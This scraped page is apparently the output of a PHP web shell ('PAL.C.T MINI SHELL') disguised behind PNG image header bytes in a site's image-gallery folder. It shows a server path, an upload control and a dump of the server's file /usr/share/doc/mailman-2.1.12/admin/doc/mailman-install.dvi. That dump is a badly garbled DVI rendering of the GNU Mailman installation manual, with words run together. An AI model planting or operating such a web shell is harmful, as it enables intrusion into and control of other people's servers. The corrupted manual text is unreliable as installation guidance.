php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/doc/mailman-2.1.12/admin/doc/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/doc/mailman-2.1.12/admin/doc/mailman-install.dvi

; TeX output 2009.01.11:0922n>n썍H!TDlH
phvr7tGNUMailman-InstallationManQualǍLl
phvro7tReleaseU2.1*Ǎ{lff
phvr7tBarrnyWlarsaJw'3{

ptmr7tJanuary11,2009l	
phvr7tbarrEy}(at)listdotorgǍ"ߌ	
ptmb7tAbstract0Ǎ3{	
ptmr7tThisMdocumentLdescribeshofwtoinstallGNUMailmanonaPOSIX-basedsystemsuchas8	
ptmrc7tUnix,MacOSX,orGNU/Linux.AIt,will,covverbasicinstallationinstructions,gaswellasguidelines,forintegratingMailman,withyourweb@andmailservvers.The@GNUMailmanwebsiteisathttp://wwwu.list.org!ContentsYߌ

ptmb7t1InstallationRequirementsR22Setupyoursystemq-32.1&Addthegroupanduser ׍..........................................C 32.2&Createtheinstallationdirectory......................................C 33BuildandinstallMailmanQ43.1&Runcongure>...............................................C 43.2&Makgeandinstallpk..............................................C 54Checkyourinstallation]55Setupyourwebsergver_66Setupyourmailsergver^7L76.1&UsingthePostxmailserv٠er썍.......................................C 7&Inte٠gratingPostxandMailman.....................................C 7&Vfgirtualdomains..............................................C 9&Analternativ٠eapproachQ..........................................C 106.2&UsingtheEximmailserv٠er(........................................C 10&Eximconguration............................................C 10&Maincongurationsettings........................................C 11&TgransportforExim3#z...........................................C 11&DirectorforExim3J............................................C 11&RouterforExim4rፍ.............................................C 12&TgransportsforExim4?...........................................C 12&Additionalnotes덍..............................................C 12&Problems.................................................C 12&Receiv٠erVerication2덍...........................................C 13&SMTPCallback8..............................................C 13&DoingVERPwithEximandMailman...................................C 14*n>썍fdn썑&VfgirtualDomains..............................................C 14&ListVericationG|..............................................C 15&DocumentHistoryV.............................................C 156.3&UsingtheSendmailmailserv٠er~......................................C 15&Sendmail\smrsh"compatibility鍍.....................................C 16&Inte٠gratingSendmailandMailmanpG....................................C 16&PerformancenotesL............................................C 176.4&UsingtheQmailmailserv٠erT........................................C 17&InformationonVERP+)...........................................C 19&Vfgirtualmailserv٠er5............................................C 19&Moreinformationr.............................................C 197Re٠viewyoursitedefaultsR9208Createasite-widemailinglist>I_209Setupcron2010StarttheMailmanqrunnerG2111CheckthehostnamesettingsC`Y2212CreatethesitepasswgordTV
2213CreateyourrstmailinglistD2314TBroubleshootingw2315Platformandoperatingsystemnotes [B2515.1&GNU/LinuxissuesGa............................................C 2515.2&BSDissues(................................................C 2515.3&MacOSXissuesύ..............................................C 26ǍH3pÍ1hInstallationRequirements
_Kj

ptmri7tPleasenotethattheinformationonthispaggemaybeoutofdate٠.ACheckforthelatestinstallationinformationontheMailmanwiki.GNUΝMailmanΰwgorksαonmostPOSIX-basedsystemssuchas8

ptmrc7tUnix,]MacOSX,orGNU/Linux.ItdoesnotcurrentlywgorkonWindows.Ygoumusthav٠eamailserv٠erthatyoucansendmessagesto,Candawebserv٠erthatsupportstheCGI/1.1FvAPI.Apachemakgesanechoiceforwebserv٠er,QandmailserverssuchasPostx,QExim,Sendmail,andFvqmailshouldwgorkjustne.T37oinstallMailmanfromsource,youwillneedanANSICcompilertobuildMailman's8ssecuritywrappers.`TheGNUCcompilergccwgorkswell.YgouSmustThav٠ethePythoninterpreterinstalledsomewhereonyoursystem.PAsofthiswriting,Python2.4.4isrecom-mended,butseethewikipageabo٠veforthelatestinformation.ffHl

phvr7t2U`e1
InstallationǧRequirements)n>썍fdn.̍2hSetupyJoursystem
_Before7Iinstalling7HMailman,Eyouneedtoprepareyoursystembyaddingcertainusersandgroups.[Ygouwillneedtohav٠erootprivile٠gestoperformthestepsinthissection."PÍl
phvr7t2.1AddUthegIroupanduserpōMailman-requiresauniqueuserandgroupname.whichwillownitsles,andunderwhichitsprocesseswillrun.Mailman's8sbasicsecurityisbasedongroupownershippermissions,soit's8simportanttogetthisstepright^3{
ptmr7t1.d7T37ypicallyY,you^will]addanewuserandanewgroup,bothcalled(0

pcrr7tmailman.tThemailmanusermustbeamemberofthemailman.4group.$6Mailmanwillbe.5installedunderthemailmanuserandgroup,Ywiththeset-group-id(setgid)bitenabled.ǍIf_these_namesarealreadyinuse,youcanchoosedierentuserandgroupnames,aslongasyourememberthesewhenyouruncongure.W:Ifyouchooseadierentuniqueusername,Yyouwillhav٠etospecifythiswithcongure's8s--with-user٠nameZoption,andifyouZchooseadierentgroupname,youwillhav٠etospecifythiswithcongure's8s--with-groupnameoption.On|Linuxsystems,|youcanusethefollowingcommandstocreatetheseaccounts.ECheckyoursystem's8smanualpagesfordetails:2
)0	
pcrr7t%ffgroupaddmailman2
%ffuseradd-c''GNUMailman''-s/no/shell-d/no/home-gmailmanmailmanI(Ӎ2.2CreateUtheinstallationdirector\#ypōT37ypicallyY,xMailmanvisinstalledvintoasingledirectoryY,xwhichincludesboththeMailmansourcecodeandtherun-timelist#andarchiv٠edata.2Itispossibletosplitthe$staticprogramlesfromthevariabledatales$andinstalltheminseparatedirectories.Thissectionwilldescribetheavailableoptions.The{defgaultzistoinstallallofMailmanto`/usr/local/mailman'^2.lYgoucanchangethisbaseinstallationdirectory(referredto}here}as+3{

ptmro7t$prGex)byspecifyingthedirectorywiththe--prexcongure}option.Ifyou'reupgradingfromapreviousv٠ersionofMailman,youmaywganttousethe--prexoptionunlessyoumoveyourmailinglists.$H//΍WYar٠ning:
8YgoucannotinstallMailmanonalesystemthatismountedwiththenosuidoption.ThiswillbreakL<Mailman,VwhichreliesonsetgidL=programsforitssecurityY.WIfthisdescribesyourenvironment,VsimplyinstallMailmaninalocationthatallowssetgidprograms.H/HMakgeWsuretheinstallationdirectoryVissettogroupmailman(orwhatev٠eryou'regoingtospecifywith--with-groupname)andhasthesetgidbitset^3.$Ygouprobablyalsowganttoguaranteethatthisdirectoryisreadableande٠xecutablebyev٠eryone.Forexample,theseshellcommandswillaccomplishthis:2
%ffcd$prefix2
%ffchgrpmailman.2
%ffchmoda+rx,g+ws.CYgouarenowreadytocongureandinstalltheMailmansoftwgare.ff-	荍
h-:'3{
ptmr7t1fh 3{
ptmr7tYouwillbeabletocheckandrepairyourpermissionsafterinstallationiscomplete.	鍍
h-:2fhThisisthedefaultforMailman2.1.zEarliervMersionsofMailmaninstalledeverythingunder`*l
phvr7t/home/mailman'bydefault.
h-:3fhBSDusersshouldseethe15.2sectionforadditionalinformation.ffH13Jn>썍fdnP3hBuildandinstallMailman
_3.1RunU,ߌ
ptmb7tcongurȹepōBeforeyoucaninstallMailman,youmustrunconguretosetvariousinstallationoptionsyoursystemmightneed.ǍNote:	.T37akge]@special]?noteofthe--with-mail-gidand--with-cgi-gidoptionsbelowY.VYgouwillprobablyneedtousethese.YgouBshouldnotBberootwhileperformingthestepsinthissection.Dothemunderyourownlogin,Norwhatev٠eraccountyouYtypicallyusetoXinstallsoftwgare.[Ygoudonotneedtodothesestepsasusermailman,/butyoucould.[Howev٠er,makgeqsureqthattheloginusedisamemberofthemailmangroupasthatthatgrouphaswritepermissionstothe$prGex'directory made inthepreviousstep.Ygoumustalsohav٠epermissiontocreateasetgidleinthelesystemwhereitresides(NFSandothermountscanbeconguredtoinhibitsetgidsettings).If€you'v٠einstalledotherGNUnsoftwgare, youshouldbefgamiliarwiththecongurescript.UsuallyyoucanjustcdtothedirectoryyouunpackgedtheMailmansourcetarballinto,andruncongurewithnoarguments:'@%ffcdmailman-<version>'@%ff./configure'@%ffmakeinstallCThefollowingoptionsallowyoutocustomizeyourMailmaninstallation.Ǎ--prex=-ڶ%

ptmbi7tdir5vStandardzGNUycongurezoptionwhichchangesthebasedirectorythatMailmanisinstalledinto.Bydefgault$prGexis`/usr/local/mailman'.Thisdirectorymustalreadye٠xist,andbesetupasdescribedin2.2.--exec-prex=dirKιStandardߵGNUߝcongureoptionwhich߶letsyouspecifyadierentinstallationdirectoryforarchi-tecturedependentbinaries.--with-vgarG-prex=dir]^{Store8ymutabledata8zunderdirsXinsteadofunderthe$prGex@ or$execffprex.CExamplesofsuchdataincludethelistarchiv٠esandlistsettingsdatabase.--with-python=`.e9V	
phvb7t/path/to/pvython'Specifyanalternativ٠ePythoninterpretertouseforthewrapperprograms.Thedefgaultistousetheinterpreterfoundrstonyourshell's8s$PAGTHs0.--with-user٠name=username-or-uidKSpecifydadierentdusernamethanmailman.uThevalueofthisoptioncanbeaninte٠geruseridorausername.Besureyour$prGexdirectoryisownedbythisusers8.--with-groupname=groupname-or-gidSpecifyadierentgroupnamethanmailman.Thevalueofthisoptioncanbeaninte٠gergroupidoragroupname.Besureyour$prGexdirectoryisgroup-ownedbythisgroup.--with-mail-gid=group-or-groupsz{Specify&danalternativ٠egroupforrunningscripts&cviathemailwrappers8.ļgroup-or-groupscanbealistofoneormoreinte٠gergroupidsorsymbolicgroupnames.Therstvalueinthelistthatresolv٠estoanexistinggroupisused.Bydefgault,thevalueisthelistmailman,other,mail,anddaemon.Note:
mThisishighlysystemdependentandyoumustgetthisright,\becausethegroupidiscompiledintothesmailrwrapperprogramforaddedsecurityY.OOnsystemsusingsendmail,Othe`sendmail.cf'congurationledesignatesthegroupidofsendmailprocessesusingtheDefaultUserعoption.=(Ifcommentedout,itstillmaybeindicatingthedefgault...)Checkyourmailserv٠er's8sdocumentationandcongurationlestondtherightvalueforthisswitch.--with-cgi-gid=group-or-groupsSpecifyanalternativ٠egroupforrunningscriptsviatheCGIxwrappers8.group-or-groupscanbealistofoneormoreinte٠gergroupidsorsymbolicgroupnames.Therstvalueinthelistthatresolv٠estoanexistinggroupisused.Bydefgault,thevalueisthethelistwww,www-data,andnobody.ffH4WD3
BuildǧandinstallMailman[n>썍fdn썑Note:ƹThe2proper2valueforthisisdependentonyourwebserv٠erconguration.Ygoumustgetthisright,BbecausetheQmgroupQlidiscompiledintotheCGIQawrapperprogramforaddedsecurityY,ZandnoMailmanCGIQascriptswillrunifthisisincorrect.Ifyou'reusingApache,checkthevaluesfortheGroupoptioninyour`httpd.conf'le.--with-cgi-ext=extensionkYCSpecifyGane٠xtensionFforcgi-binprograms.lTheCGI'wrappersplacedin`$prGex/cgi-bin'willhav٠ethisextension(somewebserversrequireanextension).extensionmustincludetheleadingdot.--with-mailhost=hostnametB2Specifyftheffullyqualiedhostnamepartforoutgoingemail.Aftertheinstallationiscomplete,thisvaluecanbeo٠verridenin`$prGex/Mailman/mmffcfg.p7y'.--with-urlhost=hostnamen&Specifythefullyqualiedhostnamepartofurls.Aftertheinstallationiscomplete,<thisvaluecanbeo٠verridenin`$prGex/Mailman/mmffcfg.p7y'.--with-gcc=no@Don'tusegcc,ev٠enifitisfound.Inthiscase,ccmustbefoundonyour$PAGTHs0."PÍ3.2Mak“eUandinstallpōOnceyou'v٠eruncongure,youcansimplyrunmakge,thenmakeinstalltobuildandinstallMailman.'pÍ4hChecJkyourinstallation
_Afteryou'v٠erunmakgeinstall,_youshouldcheckthatyourinstallationhasallthecorrectpermissionsandgroupownershipsabybrunningthecheckffpermsscript.Firstchangetotheinstallation(i.e.$prGex)directoryY,Cythenrunthebin/checkffpermsprogram.Don'ttrytorunbin/checkffpermsfromthesourcedirectory;itwillonlyrunfromtheinstallationdirectoryY.ǍIfathis`reportsnoproblems,xthenit's8sv٠erylikgely<wink>thatyourinstallationissetupcorrectlyY.&Ifitreportsproblems,thenyoucaneitherxthemmanuallyY,re-runtheinstallation,orusebin/checkffpermstoxtheproblems(probablytheeasiestsolution):Ǎ
!",

cmsy10Ygouneedtobecometheuserthatdidtheinstallation,andthatownsallthelesin$prGex,orroot.Runbin/checkffperms-fRepeatpreviousstepuntilnomoreerrorsarereported!eH܍WYar٠ning:
;Ifyou'rerunningMailmanonasharedmultiusersystem,¥andyouhav٠emailinglistswithprivatearchiv٠es,youmaywganttohidetheprivatearchiv٠edirectoryfromotherusersonyoursystem.z Inthatcase,youshould]drop]theothere٠xecutepermission](o-x)fromthe`archivfes/pr"ivate']directoryY.Howev٠er,etheweb]serverprocess8mustbeableto8followthesymboliclinkinpublicdirectoryY,FotherwiseyourpublicPipermailarchiv٠eswillnotwgork.T37osetthisup,becomerootandrunthefollowingcommands:#s#ffcd<prefix>/archives#s#ffchown<web-server-user>private#s#ffchmodo-xprivate=䍑Ygouneedtoknowwhatuseryourwebserv٠errunsas.*Itmaybewww,apache,httpdornobody,dependingonyourserv٠er's8sconguration.HHNffH3.2
Makeǧandinstall15ln>썍fdn.̍5hSetupyJourw$ebsernver
_Congratulations!y.Ygou'v٠einstalledtheMailmansoftwgare.y-T37ogetev٠erythingrunningyouneedtohookMailmanuptobothyourwebserv٠erandyourmailsystem.ǍIfyouplanonrunningyourmailandwebserv٠ersondierentmachines,jsharingMailmaninstallationsviaNFS,besurethattheclocksonthosetwgomachinesaresynchronizedcloselyY.)Ygoumighttakgealookatthele`Mailman/LockFilev.py';theconstantCLOCKffSLOPhelpsthelockingmechanismcompensateforclockskgewinthistypeofenvironment.ThissectiondescribessomeofthethingsyouneedtodotoconnectMailman's8swebinterfgacetoyourwebserv٠er.ThexDinstructionsxCherearesomewhatgearedtowgardtheApachewebserv٠er,Tsoyoushouldconsultyourwebserv٠erdocumentationfordetails.Ygoumustcongureyourwebserv٠ertoenableCGIƷscriptpermissioninthe`$prGex/cgi-bin'torunCGIƷscripts.ThelineUyouVshouldaddmightlooksomethinglikgethefollowing,withtherealabsolutedirectorysubstitutedfor$prGex,ofcourse:2
Exec+30/mailman/* fd$prefix/cgi-bin/*+=or:2
ScriptAliasff/mailman/%$prefix/cgi-bin/<͍H##΍WYar٠ning:YgouwganttobeverysurethattheuseridunderwhichyourCGIscriptsrunisnotinthemailmangroupyoucreatedabo٠ve,otherwiseprivatearchiv٠eswillbeaccessibletoanyone.H#HCopgy#bthe#aMailman,L:Python,L9andGNU#8logostoalocationaccessibletoyourwebserv٠ers8.E.g.withApache,L:you'v٠eusuallygotan`icons'directorythatyoucandroptheimagesinto.F٠orexample:2
%ffcp$prefix/icons/*.{jpg,png}/path/to/apache/icons.Ygou .then /wganttoaddalinetoyour`$prGex/Mailman/mmffcfg.p7y'lewhichsetsthebaseURL forthelogos.#F٠ore٠xample:'@IMAGE_LOGOSff='/images/'-ThedefgaultvalueforIMAgGEffLOGOSxis`/icons/'.Readthecommentin`Defaultsv.py.in'fordetails.Congureyourwebserv٠ertopointtothePipermailpublicmailinglistarchives.Forexample,inApache:2
Alias32/pipermail/$varprefix/archives/public/-׍where$varprGex)isusually$prex(unlessyou'v٠eusedthe--with-vgarG-prexoptiontocongure.?Alsobesuretocongurefyourewebserv٠ertofollowsymboliclinksinthisdirectoryY,otherwisepublicPipermailarchiv٠eswgon'tbeaccessible.F٠orApacheusers,consulttheF7ollowSymLinksoption.Ifjyou'rekgoingtobesupportinginternationalizedpublicarchiv٠es,"youwillprobablywganttoturnoan٠ydefgaultcharsetdirectiv٠e,%for,$thePipermaildirectoryY,W-otherwiseyourmultilingualarchiv٠epageswgon'tshowupcorrectlyY.Here's8sane٠xampleforApache,basedonthestandardinstallationdirectories:ffH6_^5
SetǧupyourwgebserLver|en>썍fdn썍2
<Directoryff"/usr/local/mailman/archives/public/">GAddDefaultCharsetffOff2
</Directory>CNowrestartyourwebserv٠ers8.'pÍ6hSetupyJourmailsernver
_This+sectiondescribessomeofthethingsyouneedto+dotoconnectMailman's8semailinterfgacetoyourmailserv٠er.Theinstructionsherearedierentforeachmailserv٠er;),ifyourmailserv٠erisnotdescribedinthefollowingsubsections,trytogeneralizefromthee٠xistingdocumentation,andconsidercontributingdocumentationupdatestotheMailmandev٠elopers."PÍ6.1UsingUthePffostxmailser\#v3erpōMailman
shouldwgorkprettymuchoutoftheboxwithastandardPostxinstallation.ӾIthasbeentestedwithvariousPostxv٠ersionsuptoandincludingPostx2.1.5.ǍInMorderMtosupportMailman's8soptionalVERPMdeliv٠eryY,Wyouwillwganttodisableluser_relay(thedefgault)andyouwillTwgantTtosetrecipient_delimiterfore٠xtendedaddresssemantics./Ygoushouldcommentoutan٠yluser_-relayvalueinyour`main.cf'andjustgowiththedefgaults.Also,addthistoyour`main.cf'le:2
recipient_delimiterff=+-Using(`+'as)thedelimiterwgorkswellwiththedefgaultvaluesforVERPffFORMAGTandVERPffREGEXPin`Defaultsv.py'.Whenwattemptingtoxdeliv٠eramessagetoanon-e٠xistentlocaladdress,UPostxmayreturna450errorcode.kSincethisisatransienterrorcode,Mailmanwillcontinuetoattempttodeliv٠erthemessageforDELIVERYffRETRYffPERIODɹ{5BodaysBnbydefgault.YgoumightwganttosetPostxupsothatitreturnspermanenterrorcodesfornon-e٠xistentlocalusersbyaddingthefollowingtoyour`main.cf'le:2
unknown_local_recipient_reject_codeff=550-FinallyY,ifyouareusingPostx-stylevirtualdomains,readthesectiononvirtualdomainsupportbelow. PÍInteggratingǧPostxandMailmanpōYgoucaninte٠gratePostxandMailmansuchthatwhennewlistsarecreated,]orlistsareremo٠ved,]Postx's8saliasdatabasewillbeautomaticallyupdated.Thefollowingarethestepsyouneedtotakgetomakethiswork.InthedescriptionbelowY,Xweassumethatyou'v٠einstalledMailmaninthedefgaultlocation,i.e.L`/usr/local/mailman'.Ifthat's8s`<not`=thecase,fadjusttheinstructionsaccordingtoyouruseofcongure's8s--prex`<and--with-vgarG-prex`<options.Note:w}IfyouareusingvirtualdomainsandyouwgantMailmantohonoryourvirtualdomains,5Xreadthe6.1sectionbelowrst!ǍAddthistothebottomofthe`$prGex/Mailman/mmffcfg.p7y'le:ffH17n>썍fdn썍`MTAff='Postfix'6䍑The9MTAvariablenames8amoduleinthe`Mailman/MTA'directorywhichcontainsthemailserv٠er-specicfunctionstobee٠xecutedwhenalistiscreatedorremo٠ved.Looksattthe`Defaultsv.py'lesforthevariablesPOSTFIXffALIASffCMD)andsPOSTFIXffMAPffCMDcommand.MakgeVusureVvthesepointtoyourpostaliasandpostmapprogramsrespectiv٠elyY.Rememberthatifyouneedtomakgechanges,doitin`mm<ff5=qcfg.py'.Runthebin/genaliasesscripttoinitializeyour`aliases'le.`%ffcd/usr/local/mailman`%ffbin/genaliasesA䍑Makgesurethattheownerofthe`data/aliases'and`data/aliasesv.db'leismailman,thatthegroupownerforthoselesismailman,orwhatev٠eruserandgroupyouusedinthecongurecommand,andthatbothlesaregroupwritable:`%ffsu`%ffchownmailman:mailmandata/aliases*`%ffchmodg+wdata/aliases*EKHackyourPostx's8s`main.cf'letoincludethefollowingpathinyouraliasffmapsvariable:ks/usr/local/mailman/data/aliases6KNote~that}thereshouldbenotrailing.db.Donotincludethisinyouraliasffdatabasevariable.ThisisbecauseyoudonotwgantPostx's8snewaliasescommandtomodifyMailman's8s`aliasesv.db'le,mbutyoudowgantPostxtoconsult`aliasesv.db'whenlookingforlocaladdresses.Ygouprobablywganttouseahash:styledatabaseforthisentryY.Here's8sane٠xample:`alias_mapsff=hash:/etc/postfix/aliases,v@hash:/usr/local/mailman/data/aliasesEԍWhen9youcongureMailman,husethe--with-mail-gid=mailmanswitch;kthiswillbethe9defgaultifyoucon-guredRMailmanafterQaddingthemailmanowners8.Becausetheownerofthe`aliasesv.db'Qleismailman,Postxwille٠xecuteMailman's8swrapperprogramasuidandgidmailman.ǍThat's8sit!AOnecav٠eat:"whenyouaddorremovealist,vthe`aliasesv.db'lewillupdated,butitwillnotautomaticallyrunfpostxfreload.!Thisisbecauseyouneedtoberoottorunthisandsuid-rootscriptsarenotsecure.!TheonlyeectofthisisthatitwilltakgeaboutaminuteforPostxtonoticethechangetothe`aliasesv.db'leandupdateitstables.ffH8_U6
SetǧupyourmailserLver	Yn>썍fdnVirf`tualǧdomainspōPostx2.0supports\virtualaliasdomains",essentiallywhatusedtobecalled\Postx-stylevirtualdomains"inearlierPostx3v٠ersions.p0T37omakgevirtualaliasdomainswork2withMailman,youneedtodosomesetupinbothPostxandMailman.j"MailmanEwillEwriteallvirtualaliasmappingstoalecalled,vbydefgault,`/usr/local/mailman/data/vir\#tual-mailman'.Itwillalsousepostmaptocreatethevirtual-mailman.dblethatPostxwillactuallyuse.ǍFirst,youneedtosetupthePostxvirtualaliasdomainsasdescribedinthePostxdocumentation(seePostx's8svirtual(5)mչmanpage).Notethatit's8syourresponsibilitytoincludethevirtual-alias.domainanythingline2asdescribedmanpage;LvMailmanwillnotinclude2thislinein`vir\#tual-mailman'.Ygouarehighlyencouragedtomakgesureyourvirtualaliasdomainsarewgorkingproperlybeforeinte٠gratingwithMailman.Ne٠xt,addapathtoPostx's8svirtualffaliasffmapsvariable,pointingtothevirtual-mailmanle,e.g.:2
virtual_alias_mapsff=<yournormalvirtualaliasfiles>,Ghash:/usr/local/mailman/data/virtual-mailman8assumingkyou'v٠einstalledMailmaninthedefgaultlocation.Ifyou'reusinganolderv٠ersionofPostxwhichdoesn'thav٠ethevirtualffaliasffmapsvariable,usethevirtualffmapsvariableinstead.Ne٠xt,inayoura`mm<ff5=qcfg.py'le,youwillawganttosetthevariablePOSTFIXffSTYLEffVIRTUALffDOMAINSutoathelistofivirtualidomainsthatMailmanshouldupdate.֬ThismaynotbeallofthevirtualaliasdomainsthatyourPostxinstallationsupports!Thevaluesinthislistwillbematchedag7ainstthehostffnameattributeofmailinglistsobjects,andmustbeane٠xactmatch.Here's8s?ane٠xample.VSaythat?Postxisconguredtohandlethevirtualdomainsdom1.ain,dom2.ain,anddom3.ain,andfurtherthatinyour`main.cf'leyou'v٠egotthefollowingsettings:2
myhostnameff=mail.dom1.ain2
mydomainff=dom1.ain2
mydestinationff=$myhostname,localhost.$mydomain2
virtual_alias_mapsff=Ghash:/some/path/to/virtual-dom1,Ghash:/some/path/to/virtual-dom2,Ghash:/some/path/to/virtual-dom2dIfinyour`vir\#tual-dom1'le,you'v٠egotthefollowinglines:2
dom1.ain
IGNORE2
@dom1.ainff@mail.dom1.ain-thistellsPostxtodeliv٠eranythingaddressedtodom1.aintothesamemailboxatmail.dom1.com,itsdefgaultdestination.InMthiscaseyouLwgouldnotincludedom1.aininPOSTFIXffSTYLEffVIRTUALffDOMAINSbecauseMotherwiseMailmanwillwriteentriesformailinglistsinthedom1.aindomainas2
mylist@dom1.ain0mylist2
mylist-request@dom1.ainffmylist-request2
#ffandsoon...CThemorespecicentriestrumpyourmoregeneralentries,thusbreakingthedeliv٠eryofanydom1.ainmailinglist.Howev٠er,youwgouldincludedom2.ainanddom3.ainin`mm<ff5=qcfg.py':ffH6.1
UsingǧthePostxmailserLver19
5n>썍fdn썍2
POSTFIX_STYLE_VIRTUAL_DOMAINSff=['dom2.ain','dom3.ain']-NowY,~an٠y6listthatMailmancreatesineitherofthosetwgodomains,willhav٠ethecorrectentrieswrittento`/usr/local/mailman/data/vir\#tual-mailman'.ǍAsdabo٠vecwiththe`data/aliases*'les,uyouwganttomakgesurethatboth`data/vir\#tual-mailman'and`data/vir\#tual-mailman.db'areuserandgroupownedbymailman. PÍAnǧalter?nativeapproachpōFill@rezvo.nethasanalternativ٠eapproachbasedonvirtualmapsandregularexpressions,asdescribedat:Ǎ(French)http://listesv.rezo.net/comment.php(English)http://listesv.rezo.net/howu.phpThisisagood(andsimpler)alternativ٠eifyoudon'tmindexposinganadditionalhostnameinthedomainpartoftheaddressespeoplewillusetocontactyourlist.I.e.ifpeopleshouldusemylist@lists.dom.aininsteadofmylist@dom.ain."PÍ6.2UsingUtheEximmailser\#v3erNote:Thissectionisderiv٠edfromNigelMetheringham's8s\HOgWTOr-UsingEximandMailmantogether",@whichco٠vers_Mailman2.0.xand`Exim3.%Ithasbeenupdatedtoco٠ver_Mailman2.1andExim4.%Theoriginaldocumentishere:http://wwwu.exim.org/hovwto/mailman.html.ǍTheret*ist)noMailmancongurationneededotherthanthestandardoptionsdetailedintheMailmaninstalldocumenta-tion.TheEximcongurationistransparenttoMailman.TheuserandgroupsettingsforMailmanmustmatchthoseinthecongfragmentsgiv٠enbelowY. PÍEximǧcongurgationTheqEximpcongurationisbuiltsothatalistcreatedwithinMailmanautomaticallyappearstoEximwithouttheneedfordeningan٠yadditionalaliases.ǍThendra٠wbacknofthiscongurationisthatitwillwgorkpoorlyonsystemssupportinglistsinsev٠eraldierentmaildomains.While=Mailman=handlesvirtualdomains,K-itdoesnotyetsupporthavingtwgodistinctlistswiththesamenameinudierenttvirtualdomains,usingthesameMailmaninstallation.4Thiswillev٠entuallychange.4(Butseebelowforavariationonthisschemethatshouldaccommodatevirtualdomainsbetters8.)Thecongurationlee٠xcerptsbelowareforuseinanalreadyfunctionalEximconguration,2whichacceptsmailforthedomain	inwhichthelistresides.KIfthisdomainisseparatefromtheothershandledbyyourEximconguration,thenyou'gllneedto:Ǎaddthelistdomain,\myY.list.domain"tolocalffdomainsadda\domains=myY.list.domain"optiontothedirector(router)forthelist(optional)e٠xcludethatdomainfromyourotherdirectors(routers)Note:	The90instructionsinthisdocument9/shouldwgorkwitheitherExim3orExim4.E'InExim3,g|youmusthav٠ealocalffdomainsdcongurationsetting;@inExim4, }youmostlikgelyhav٠eealocalffdomainsdomainlist.Ifyoudon't, }youffH10_U6
SetǧupyourmailserLvern>썍fdn썹probablyjknowwhatjyou'redoingandcanadjustaccordinglyY.ڄSimilarly,injExim4theconceptof\directors"hasdisappearedv{thereareuonlyroutersnowY.Soifyou'reusingExim4,BSwhenev٠erthisdocumentsays\director",BSread\router".ǍWhether-you,areusingExim3orExim4,8youwillneedtoaddsomemacrostothemainsectionofyourEximcongle.Ygouwillalsoneedtodeneonenewtransport.WithExim3,you'gllneedtoaddanewdirector;withExim4,anewrouterplaysthesamerole.FinallyY,theicongurationsuppliedhereshouldallowco-habitingMailman2.0and2.1installations,withthepro٠visothatyou'gllprobablywanttousemm21inplaceofmailman{e.g.,MM21ffHOME:߹,mm21fftr٠ansport.,etc. PÍMainǧcongurgationsettingspōFirst,Ryou]needto]addsomemacrostothetopofyourEximcongle.+Thesejustmakgethedirector(router)andtransport1below1abitcleaners8.Ob٠viouslyY,Ayou'gllneedtoeditthesebasedonhowyouconguredandinstalledMailman.2
#ffHomedirforyourMailmaninstallation--akaMailman'sprefix2
#ffdirectory.2
MAILMAN_HOME=/usr/local/mailman2
MAILMAN_WRAP=MAILMAN_HOME/mail/mailman2
#ffUserandgroupforMailman,shouldmatchyour--with-mail-gid2
#ffswitchtoMailman'sconfigurescript.2
MAILMAN_USER=mailman2
MAILMAN_GROUP=mailmanҍTrgansporf`tǧf7orExim3pōAddthistothetransportssectionofyourEximcongle,i.e.somewherebetweentherstandsecond\end"line:'@mailman_transport:2
driverff=pipe2
commandff=MAILMAN_WRAP\h
{'${ifffdef:local_part_suffix\s{${sg{$local_part_suffix}{-(\\w+)(\\+.*)?}{\$1}}}ff\s{post}}'ff\h
{$local_part2
current_directoryff=MAILMAN_HOME2
home_directoryff=MAILMAN_HOME2
userff=MAILMAN_USER2
groupff=MAILMAN_GROUPҍDirectorǧf7orExim3If9you're8usingExim3,you'gllneedtoaddthefollowingdirectortoyourcongle(directorsgobetweenthesecondandJthird\end"Klines).vAlso,don'tforgetKthatordermatters{e.g.vyoucanmakgeMailmanliststakgeprecedenceo٠versystemaliasesbyputtingthisdirectorinfrontofyouraliasledirector,orvice-v٠ersa.ffH6.2
UsingǧtheEximmailserLverʢ11n>썍fdn썍'@#ffHandlealladdressesrelatedtoalist'foo':thepostingaddress.'@#ffAutomaticallydetectslistexistencebylooking'@#ffforlists/$local_part/config.pckunderMAILMAN_HOME.'@mailman_director:2
driverff=smartuser2
require_filesff=MAILMAN_HOME/lists/$local_part/config.pck2
suffix_optional2
suffixff=-bounces:-bounces+*:\b-confirm+*ff:-join:-leave:\b-ownerff:-request:-admin2
transportff=mailman_transportRouterǧf7orExim4pōInExim4,\there's8snosuchthingasdirectors{youneedtoaddanewrouterinstead.Also,]thecanonicalorderofthecongurationlewgaschangedsorouterscomebeforetransports,GsotherouterforExim4comesrsthere.`Putthisroutersomewhereafterthe\be٠ginrouters"lineofyourcongle,andrememberthatordermatters.Ǎ'@mailman_router:2
driverff=accept2
require_filesff=MAILMAN_HOME/lists/$local_part/config.pck2
local_part_suffix_optional2
local_part_suffixff=-admin:-bounces:-bounces+*:\
w-confirmff:-confirm+*:\
w-joinff:-leave:\
w-ownerff:-request:\
w-subscribeff:-unsubscribe2
transportff=mailman_transportTrgansporf`tsǧf7orExim4ThestransportrforExim4isthesameasforExim3(see6.2;,justcopgythetransportgiv٠enabovetorsomewhereunderthe\be٠gintransports"lineofyourEximcongle. FAdditionalǧnotesExim?should?beconguredtoallowreasonablevolume{e.g.Xvdon'tsetmaxffrGecipientsdowntoasillyvalue{andwithnormalde٠greesofsecurity{specicallyY,besuretoallowrelayingfrom127.0.0.1,butprettymuchnothingelse.P٠arallelgdeliveriesgandothertweakscanalsobeusedifyoulikge;oe٠xperimentwithyoursetuptoseewhatwgorks.Delaywgarning3{messagesshouldbeswitchedoorcongured3|toonlyhappenfornon-listmail,Bunlessyoulikereceivingtonsofmailwhensomerandomhostisdown. 